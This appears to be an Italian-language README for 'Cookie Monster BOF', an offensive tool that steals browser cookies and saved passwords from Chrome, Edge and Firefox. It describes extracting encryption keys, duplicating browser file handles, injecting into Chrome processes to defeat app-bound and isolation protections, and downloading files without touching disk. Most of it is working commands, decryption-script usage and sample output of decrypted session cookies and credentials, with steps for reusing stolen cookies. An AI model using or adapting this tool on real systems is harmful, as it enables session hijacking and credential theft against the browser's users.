
Strumento basato su BOF per estrarre cookie e credenziali del browser da Chrome, Edge e Firefox tramite duplicazione degli handle e download senza file, con supporto per la decrittazione offline.
Ruba i cookie del browser per edge, chrome e firefox tramite un BOF!
Cookie Monster BOF estrarrà la WebKit Master Key e la App Bound Encryption Key sia per Edge che per Chrome, individuerà un processo del browser con un handle ai file Cookies e Login Data, copierà l'handle (o gli handle) e poi scaricherà i file di destinazione senza toccare il disco.
Una volta scaricati i file Cookies/Login Data, è possibile usare lo script Python di decifratura per estrarre quei segreti! Il modulo Firefox analizzerà il file profiles.ini e individuerà dove si trovano i file logins.json e key4.db per scaricarli. Per la decifratura offline viene fatto riferimento a una repo GitHub separata.
Aggiornamenti Chrome & Edge 127+: i nuovi cookie dei browser Chromium (v20) usano la app bound key per cifrare i cookie. Di conseguenza, questo rende il recupero della app_bound_encrypted_key leggermente più difficile. Grazie a snovvcrash questo processo può essere portato a termine senza dover elevare i propri privilegi. Il trucco è che il processo deve essere in esecuzione dalla directory dell'applicazione del browser web, ovvero bisogna iniettare in Chrome/Edge o avviare un beacon dalla stessa directory dell'applicazione del browser.
Chrome 157+ può eseguire un processo launcher non isolato che avvia il vero browser come secondo processo chrome.exe --isolated. Le chiavi app-bound create con l'isolamento abilitato possono essere decifrate solo da un chiamante che possiede l'attributo di sicurezza di isolamento di Chrome. Iniettare nel processo Chrome --isolated; iniettare nel launcher restituisce HRESULT 0x8004A018 (kIsolationStateInvalid). Il relativo errore Win32 può essere obsoleto (ad esempio, 122), quindi usare l'HRESULT per diagnosticare questa condizione.
Decifra i cookie come SYSTEM e senza dover iniettare nel processo del browser! Un ringraziamento a @sdemius per aver scoperto come decifrare la funzione PostProcessData di Chrome e a @b1scoito per la spiegazione! Chrome 137+ ha modificato ancora una volta la funzione PostProcessData(), un ringraziamento a @runassu per averlo scoperto!
L'ultimo aggiornamento ha aggiunto la decifratura della Webkit Master Key grazie a @M1ndo. La master key viene decifrata automaticamente insieme alla app bound key. Per utilizzarla, aggiungere la chiave allo script Python di decifratura. Principalmente questa chiave viene usata quando si utilizzano profili roaming, password memorizzate in Edge o password memorizzate più vecchie.
Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"]
cookie-monster Examples:
cookie-monster --chrome
cookie-monster --edge
cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
cookie-moster --firefox
cookie-monster --chromeCookiePID <PID>
cookie-monster --chromeLoginDataPID <PID>
cookie-monster --edgeCookiePID <PID>
cookie-monster --edgeLoginDataPID <PID>
cookie-monster Options:
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD
--system, Decrypt chromium based browser app bound encryption key without injecting into browser. Requires path to Local State file and PID of a user process for impersonation
--firefox, looks for profiles.ini and locates the key4.db and logins.json file
--chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--key-only, only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files.
--cookie-only, only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key.
--login-data-only, only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.
--copy-file, copies the Cookie and Login Data file to the folder specified. Does not use fileless retrieval method.
Assicurati che Mingw-w64 e make siano installati su Linux prima della compilazione.
make
Installa i requisiti
pip3 install -r requirements.txt
Utilizzo
python3 decrypt.py -h
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]
Decrypt Chromium cookies and passwords given a key and DB file
options:
-h, --help show this help message and exit
-k KEY, --key KEY Decryption key
-o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
Option to choose
-f FILE, --file FILE Location of the database file
--chrome-aes-key CHROME_AES_KEY
Chrome AES Key
-mk MASTER_KEY, --master-key MASTER_KEY
Old key used in v10 passwords
Esempi: Decifrare il file dei cookie di Chrome/Edge
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
Decifrare i cookie di Chrome con la chiave AES di Chrome
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json
Decifra il file dei cookie di Chrome/Edge e salvalo in json
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json
Importa il file JSON dei cookie con https://cookie-editor.com/
Decifra il file delle password di Chrome/Edge
python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'
URL: https://test.com/
Username: adgf
Password: pass
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
Decifrare i cookie e le credenziali memorizzate di Firefox:
https://github.com/lclevy/firepwd
aggiunta l'opzione cuddlephish allo script di decifratura che dovrebbe supportare l'utilizzo del cookie con https://github.com/fkasler/cuddlephish
# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db